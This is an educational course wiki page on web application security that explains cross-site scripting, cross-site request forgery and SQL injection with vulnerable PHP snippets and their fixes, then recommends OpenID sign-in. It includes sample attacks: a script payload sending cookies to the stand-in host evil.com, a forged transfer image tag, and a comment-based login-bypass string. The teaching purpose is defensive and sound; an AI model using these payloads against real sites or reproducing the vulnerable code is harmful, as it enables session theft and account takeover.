Web Application Security, Part 1

From CSE330 Wiki
Revision as of 02:48, 18 August 2012 by Shane (talk | contribs) (OpenID)
Jump to: navigation, search

Application-level web security is of increasing concern among web developers. This article outlines some types of security threats to your web application and how to solve those threats.

This is Part 1 of the Web Application Security article, geared toward the material covered in Module 2. For material covered in Module 3 (MySQL), see Web Application Security, Part 2. For material covered in Module 4 (JavaScript), see Web Application Security, Part 3.

Introduction to Application-Level Web Security

Every day, computer hackers around the world penetrate web applications, often for personal profits. You may find it hard to believe, but even high-profile web sites (banks, social media, even computer security companies) are vulnerable to application-level attacks!

Not only is it embarrassing to be the programmer who wrote the vulnerable code, but it could also cost you your job. As a prudent web developer, it is imperative that you take precautionary measures to make your application difficult to penetrate. Indeed, most of the time, if your site is well-written, hackers will just move on.

Here's the golden rule: Anything in your site that accepts user input, whether via a form, an AJAX request, a file upload, or even malformed links, can be used as an attack vector. NEVER TRUST USER INPUT!!! This can be summarized in the acronym FIEO, or Filter Input, Escape Output.

Cross-Site Scripting

TODO: Move this to Part 3.

Cross-Site Scripting, or XSS, is when an attacker targets an area of your application in which user-supplied input is included in application output. The attacker may use JavaScript to read confidential information and send it to his/her own servers.

There are two types of XSS attacks: persistent and reflected.

Persistent XSS

Persistent XSS occurs when a web site stores input in a database and displays it to victims later. A common vector for Persistent XSS are forum posts or shoutboxes.

For example, consider this code:


$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");

	echo "<p>".$row["content"]."</p>\n";


In this example, content from the database is displayed verbatim to the end user. This is vulnerable to a Persistent XSS attack. Suppose the attacker typed the following code into the shoutbox:

How 'bout them Cardinals! <script> new Image().src = "http://www.evil.com/record_cookie?"+document.cookie; </script>

The victim would just see "How 'bout them Cardinals!", and everything would seem fine. However, the shout is also executing JavaScript code that sends the contents of the victim's cookies on your site to the attacker! The attacker can now hijack the victim's session and do bad things.


You need to escape the output. In PHP, you can do this using the htmlentities() function:


$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");

	$safe = htmlentities($row["content"]);
	echo "<p>".$safe."</p>\n";


Now, the script would appear as text to the user, and it will not execute. This Persistent XSS threat has been put to rest!

Reflected XSS

Reflected XSS is when a web page accepts input and then displays it immediately as output (without the database intermediate). A common vector for Reflected XSS attacks are search queries.

For example, consider the code:


echo "<h1>Transaction History for: " . $_GET['username'] . "</h1>\n";


This is vulnerable to a Reflected XSS attack. The attacker could trick the victim into visiting this link:


In some ways, this is more mysterious than Persistent XSS, because it's not clear what's going on. But this is the code that will be displayed on the page:

<h1>Transaction History for: mothergoose <script>new Image().src="http://www.evil.com/record_cookie?"+document.cookie;</script></h1>

Aye yie yie!


To fix this, we again need to escape output:


$safe_username = htmlentities($_GET['username']);

echo "<h1>Transaction History for: " . $safe_username . "</h1>\n";


And now our Reflected XSS vulnerability has been put to rest.

Real-Life Examples

Cross-Site Request Forgery

A cross-site request forgery (CSRF, pronounced sea-surf) involves a victim, who is logged in to the targeted site, visiting an attacker’s site. The attacker has code on his site that forces the victim to unwittingly perform actions on the targeted site.

For example, suppose Mother Goose visited Dr. Evil's blog. Dr. Evil had the following tag embedded in his bloc:

<img src="http://www.bank.com/transfer.php?dest=dr-evil&amount=5000" />

This would cause Mother Goose to authorize a $5000 transfer to Dr. Evil, completely without Mother Goose's knowledge!

Worse yet, Dr. Evil could just send an e-mail to Mother Goose with this image tag. All Mother Goose would need to do to be attacked is open the e-mail! (Now you know why sometimes your e-mail client turns off images from suspicious sources.)


The first precautionary measure is to always use POST requests (as opposed to GET requests) for actions that change something on your server. This will fend off all except the most hard-core CSRF attacks.

However, fully preventing CSRF attacks is not difficult. To do this, you can use a CSRF token. A CSRF token is a known string of text that is submitted in all of the forms on your site. If the string is not what you expect, then you can assume that the request was forged.

For example, consider this form:

<form action="transfer.php">
<input type="text" name="dest" />
<input type="number" name="amount" />
<input type="submit" value="Transfer" />

We can easily add a hidden CSRF token field like so (as well as making the form POST rather than GET):

<form action="transfer.php" method="post">
<input type="text" name="dest" />
<input type="number" name="amount" />
<input type="hidden" name="token" value="<?=$_SESSION['token'];?>" />
<input type="submit" value="Transfer" />

This assumes that $_SESSION['token'] contains an alphanumeric string that was randomly generated upon session creation. We can now test for validity of the CSRF token on the server side (in transfer.php):

$destination_username = $_POST['dest'];
$amount = $_POST['amount'];
if($_SESSION['token'] !== $_POST['token']){
	die("Request forgery detected");
$mysqli->query(/* perform transfer */);

Now, if Mother Goose were to view a page containing the malicious <img/> tag, the transfer would not take place.

Real-Life Examples

SQL Injection

TODO: Move this to part 2.

http://imgs.xkcd.com/comics/exploits_of_a_mom.png (TODO: embed image here)

SQL injection occurs when an attacker submits specially-crafted input into your server, which is then included in an SQL query. The input modifies the query to perform additional actions on the database or to access unwanted information.

For instance, suppose you had the following code:

require 'database.php';


$res = $mysqli->query("SELECT id FROM users WHERE username='".$_POST['username']."' AND password='".$_POST['password']."'");

if( $res->num_rows==1 ){
    $row = $res->fetch_assoc();
    $_SESSION['user_id'] = $row["id"];
    echo "Login failed.";

This code is vulnerable to SQL injection. For example, suppose the attacker used the following string of text for his username:

mother-goose' --

Here's what the resulting query would look like:

SELECT id FROM users WHERE username='mother-goose' --' AND password=''

Since -- is the start of a comment in SQL, when MySQL interprets this query, it will completely ignore the password-checking part of the query! Dr. Evil can log in using anyone's username and steal all of their money!


If you write your queries manually (as in the example above), you need to use $mysqli->real_escape_string() to sanitize your input:

$safe_username = $mysqli->real_escape_string($_POST['username']);
// ...

However, the better solution is to use prepared queries. For more information on prepared queries, see MySQL.

Real-Life Examples

Password Security

Let's assume for a moment that despite all of your efforts in the other fronts of web security, an attacker was still able to extract information from your database. If you store your passwords as plain text, not only will the attacker be able to log in as whomever he chooses, but the attacker will also likely be able to log in as the users of your site on different sites (since many users employ the same password on several different web sites).


One solution that will solve all issues related to password security is to not have passwords at all. This can be achieved using OpenID, which allows end users to use their accounts from other sites (e.g. Google, Yahoo, and Twitter) to authenticate on your site. Not only does this make your life easier in the security realm, but it also eliminates the need for password recovery, etc.

There are many PHP libraries available for OpenID authentication; one such library is the creatively named OpenID, which you can install using PEAR. You will also need to install some other packages. In summary, these are the commands you will need to run (in this order):

sudo yum install php-mbstring # not necessary on Debian
sudo yum install php-bcmath # not necessary on Debian
sudo pear install Crypt_DiffieHellman-0.2.6
sudo pear install Validate-0.8.5
sudo pear install Services_Yadis-0.5.1
sudo pear install OpenID-0.3.3

Here's an example implementation that uses the PEAR package. You will need jQuery and the JavaScript file located here. (This will make more sense after Module 4.)

Login Page:

<!-- Don't forget your jQuery and the OpenID JavaScript file! -->

<script>$(document).ready(function(){ openid.init('identifier'); });</script>
<form action="process_openid.php" method="post">
	<input id="start" name="start" type="hidden" value="true" />
		<legend>Sign in using OpenID</legend>
		<div id="openid_choice">
			<p>Please click your account provider:</p>
			<div id="openid_btns"></div>
		<div id="openid_input_area">
			<input id="identifier" name="identifier" type="text" value="http://" />
			<input id="openid_submit" type="submit" value="Sign-In"/>


require_once 'OpenID/RelyingParty.php';
require_once 'OpenID/Discover.php';
require_once 'OpenID/Store.php';
require_once 'OpenID/Message.php';
require_once 'Net/URL2.php';

$realm = "http://www.yoursite.com/";
$returnTo = $realm . "path/to/process_openid.php";

$identifier = $_POST['identifier'] ?: $_SESSION['identifier'] ?: null; // a neat little trick introduced in PHP 5.3

$o = new OpenID_RelyingParty($returnTo, $realm, $identifier);

// Scenario 1: We are processing a login request before visiting the OpenID provider
if($_POST['start']) {
	$authRequest = $o->prepare();
	$url = $authRequest->getAuthorizeURL();
	header("Location: ".$url);

// Scenario 2: The user is returning to our site after visiting the OpenID provider's site
else {
	$usid = $_SESSION['identifier'] ?: null;

	$queryString = count($_POST) ? file_get_contents('php://input') : $_SERVER['QUERY_STRING'];
	$message = new OpenID_Message($queryString, OpenID_Message::FORMAT_HTTP);
	$id      = $message->get('openid.claimed_id');
	$mode    = $message->get('openid.mode');

	$result = $o->verify(new Net_URL2($returnTo . '?' . $queryString), $message);
		$data = $message->getMessage();
		echo "You've been logged in!  Info:";
		echo "<pre>";
		echo "</pre>";
		echo "Login failed."

Disclaimer: OpenID does have security issues in its own right, especially phishing-type vulnerabilities, but they are almost exclusively tied to the OpenID identity providers (Google, Yahoo, etc), not the OpenID relying party (you). Using an SSL connection will help to solve many of these security issues. And ultimately, it's safe to rest assured that profit-driven OpenID providers are quick to respond when such security vulnerabilities are reported.